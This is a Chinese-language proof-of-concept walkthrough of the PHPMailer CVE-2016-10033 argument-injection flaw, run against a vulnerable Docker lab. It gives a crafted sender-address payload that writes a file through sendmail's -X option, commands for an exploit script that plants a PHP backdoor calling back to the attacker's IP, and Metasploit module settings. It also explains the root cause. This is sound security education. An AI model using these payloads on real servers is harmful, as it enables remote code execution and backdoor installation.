
CVE-2016-10033 (PHPMailer) 的概念验证
首先,让我们启动并运行存在漏洞的应用
命令: docker pull vulnerables/cve-2016-10033


现在,你可以在Web浏览器中通过localhost:8080访问存在漏洞的网站。

姓名输入: OSEC (可以是任意字符串,这不会影响漏洞利用)
构造的发件人邮箱: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
这个构造的发件人邮箱的工作原理在攻击向量的描述部分有深入解释。至于具体参数,第二个参数 -oQ/tmp 指定了邮件队列目录,第三个参数 -X/www/pwn.html 指定了要写入的日志文件位置。
如果没有指定队列目录,sendmail进程会尝试访问默认的邮件队列目录(/var/spool/mqueue-client/),而该目录通常会受到保护以防止未授权访问和篡改,这是一种常见的安全措施。为了避免这个权限问题,你应该指定一个运行PHP脚本的用户具有写权限的队列目录。通常使用像/tmp这样的目录,因为它通常对所有用户都是可写的。
如果邮件正文包含PHP代码,并且指定的日志文件被放置在一个可通过Web访问的目录中,攻击者就可以通过Web浏览器访问该日志文件来执行PHP代码,从而导致远程代码执行。
消息输入: 这只是一个攻击者可以上传的HTML文件示例。当然,攻击者可以上传更糟糕的东西,比如后门,我们将在下一个利用方法中这样做。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

命令: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> 指定目标URL
-cf -> 指定在-url所指定的URL中联系表单的位置(在我们的案例中,它与-url完全相同,所以我们只包含了一个斜杠)
-ip -> 指定攻击者IP,供后门回连
-d -> 指定上传后门PHP文件的相对目录
--post-action -> 隐藏字段的name属性
--post-msg -> 消息输入字段的name属性
注意:我们必须将--post-action指定为“submit”,将--post-msg指定为“message”,这是因为在我们使用的存在漏洞的应用中,name属性与Python利用脚本中使用的默认值不同。
存在漏洞的应用中的name属性:

脚本中指定的默认name属性:


在上图中,你可以看到程序试图访问http://127.0.0.1:8080//www/phpbackdoor9284.php,这显然是错误的,因为出现了//www。这样做行不通,因为在这个存在漏洞的网站中,/www是网站根目录,因此你不能再去访问http://127.0.0.1:8080/www,因为http://127.0.0.1:8080已经在/www目录下。
同样,在下面的图片中,我们可以看到利用实际上成功了,因为phpbackdoor9284.php已经在目录中成功创建。因此唯一的问题是如何从URL中移除那个//www。

进一步检查Python脚本后,我们找到了BACKDOOR_URL变量,该变量指定了后门PHP文件的URL。
在该变量中,我们可以看到我们指定的目标目录(args.TARGET_UP_DIR)与BACKDOOR_FILE变量拼接在一起。
要解决这个问题,我们需要移除那个额外的斜杠。
修改前:

修改后:


命令:
msfconsole
search CVE-2016-10033
use 1

命令:
set RHOSTS 192.168.79.1 (指定目标IP)
set RPORT 8080 (指定目标端口)
set TARGETURI /(指定web表单的URL)
set WEB_ROOT /www (指定网站根目录的位置)

命令: exploit

至此,POC演示结束。
PHPMailer类默认使用PHP的mail()函数作为其传输方式。
该传输方式通过mailSend()函数实现:

如果你看第12行,

发件人地址与-f拼接,这是根据PHP文档中mail()函数的说明,告诉sendmail二进制程序,-f参数后面的字符串是发件人的电子邮件地址。

在mailSend()函数的最后一行,

所有PHPmail()函数所需的参数都被传递,包括第5个参数$params,它允许向sendmail二进制程序传递额外的参数。
下图显示了mail()函数接受的参数,这些参数与mailSend()函数传递的参数相匹配。

如上所示,我们知道$params字符串是由Sender变量构建的。这个Sender字符串通常通过setFrom()方法设置,该方法会验证用户在web表单中输入的发件人地址。

由于validateAddress()函数的验证,PHPMailer会拒绝像这样的邮箱:
attacker -InjectedParam2 @attacker.com
这会阻止通过mail()函数向Sendmail注入额外参数。
该CVE的发现者经过进一步研究发现,验证实际上是按照RFC 3696规范进行的。
RFC允许电子邮件在使用"引号时包含空格。因此,以下电子邮件地址会被setFrom()方法接受:
"Attacker -Param2 -Param3"@test.com
然后这个地址会被传递给mailSend()函数,再传递给PHP的mail()函数,最终执行/usr/bin/sendmail(MTA,邮件传输代理)二进制程序,参数列表如下:
参数0 == [/usr/sbin/sendmail]
参数1 == [-t](从头部信息读取收件人)
参数2 == [-i](忽略行中的点)
参数3 == [-f"Attacker -Param2 -Param3"@test.com]
换句话说,就像这样:

这对于攻击者来说不起作用,因为Param2和Param3被包含在同一个参数3中,而该参数指定了发件人地址。
然而,攻击者可以通过额外的转义来突破这一点。通过在第一个参数之后向发件人邮箱注入一个额外的\"序列,
"Attacker \" -Param2 -Param3"@test.com
当这个地址被传递给PHPMailer并最终传递给mail()函数时,它会执行sendmail二进制程序,参数列表如下:
参数0 == [/usr/sbin/sendmail]
参数1 == [-t]
参数2 == [-i]
参数3 == [-fAttacker\]
参数4 == [-Param2]
参数5 == [-Param3"@test.com]
换句话说,就像这样:

因此,这次攻击者能够注入额外的参数,在本例中是参数4和5。
此漏洞由 Dawid Golunski 发现。
Docker镜像由 opsxcq 创建 - https://github.com/opsxcq
最后但同样重要的是,帮助我完成POC的可爱的团队成员:
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/